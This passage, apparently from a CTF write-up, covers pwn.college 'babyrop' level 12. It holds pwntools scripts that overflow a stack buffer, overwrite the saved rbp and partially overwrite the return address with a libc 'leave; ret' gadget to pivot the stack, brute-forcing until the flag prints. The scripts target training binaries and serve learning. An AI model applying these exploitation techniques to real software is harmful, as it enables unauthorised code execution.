payload = b'a'*104
payload += p64(overwriterbp)
payload += 0x5de5.to_bytes(2, 'little')
r.send(payload)
res = r.recvall()
if b'pwn.college{' in res:
print(res)
r.close()
exit(1)
except Exception as e:
r.close()
```
# Babyrop_level12
## Level 12.0

**In this challenge, I also download this challenge and the libc of this challenge. I spent many times to think to solve this challenge without brute-force =)))).**
First, we need to know challenge work.
- This challenge doesn't have challenge() function, and it does anything in main() function before return to ***_libc_start_call_main+128*** it also means I can't use `leave ; ret` gadget in the challenge
- 
- 
Yepp, I also need to find gadget "leave ; ret" to use technique stack pivot. Because the program return to libc, so I need to find it in libc.

- 
- 
- 
As you see, I need to brute-force more nibble than in the previous challenge. Thus, I see it is not legitable to do this method, I find other ways to resolve challenge.
Until I'm stuck and panic because of spending many times. Finnaly, I brute-force and wait to get the flag. Because the libc in the sever of pwncollege is not the same as my local. So, I will find the offset of gadget in sever.


```python=
from pwn import *
import sys
context.log_level = 'debug'
context.binary = exe = ELF('/challenge/babyrop_level12.0', checksec=False)
libc = exe.libc
def info(x):
return log.info(x)
while True:
try:
r = process(exe.path)
r.recvuntil(b'[LEAK] Your input buffer is located at: ')
leak_input = int(r.recvn(14), 16)
address_win = leak_input - 8
overwriterbp = address_win - 8
info("The address of input start at: " + hex(leak_input))
info("The address on the stack store win function: " + hex(address_win))
#offset: 80 to retaddr
payload = b'a'*72
payload += p64(overwriterbp)
payload += 0x1578c8.to_bytes(3, 'little')
r.send(payload)
res = r.recvall()
if b'pwn.college{' in res:
print(res)
r.close()
exit(1)
except Exception as e:
r.close()
```
## Level 12.1
```python=
from pwn import *
import sys
context.log_level = 'debug'
context.binary = exe = ELF('/challenge/babyrop_level12.1', checksec=False)
libc = exe.libc
def info(x):
return log.info(x)
while True:
try:
r = process(exe.path)
r.recvuntil(b'[LEAK] Your input buffer is located at: ')
leak_input = int(r.recvn(14), 16)
address_win = leak_input - 8
overwriterbp = address_win - 8
info("The address of input start at: " + hex(leak_input))
info("The address on the stack store win function: " + hex(address_win))
#offset: 96 to retaddr
payload = b'a'*88
payload += p64(overwriterbp)
payload += 0x1578c8.to_bytes(3, 'little')
r.send(payload)
res = r.recvall()
if b'pwn.college{' in res:
print(res)
r.close()
exit(1)
except Exception as e:
r.close()
```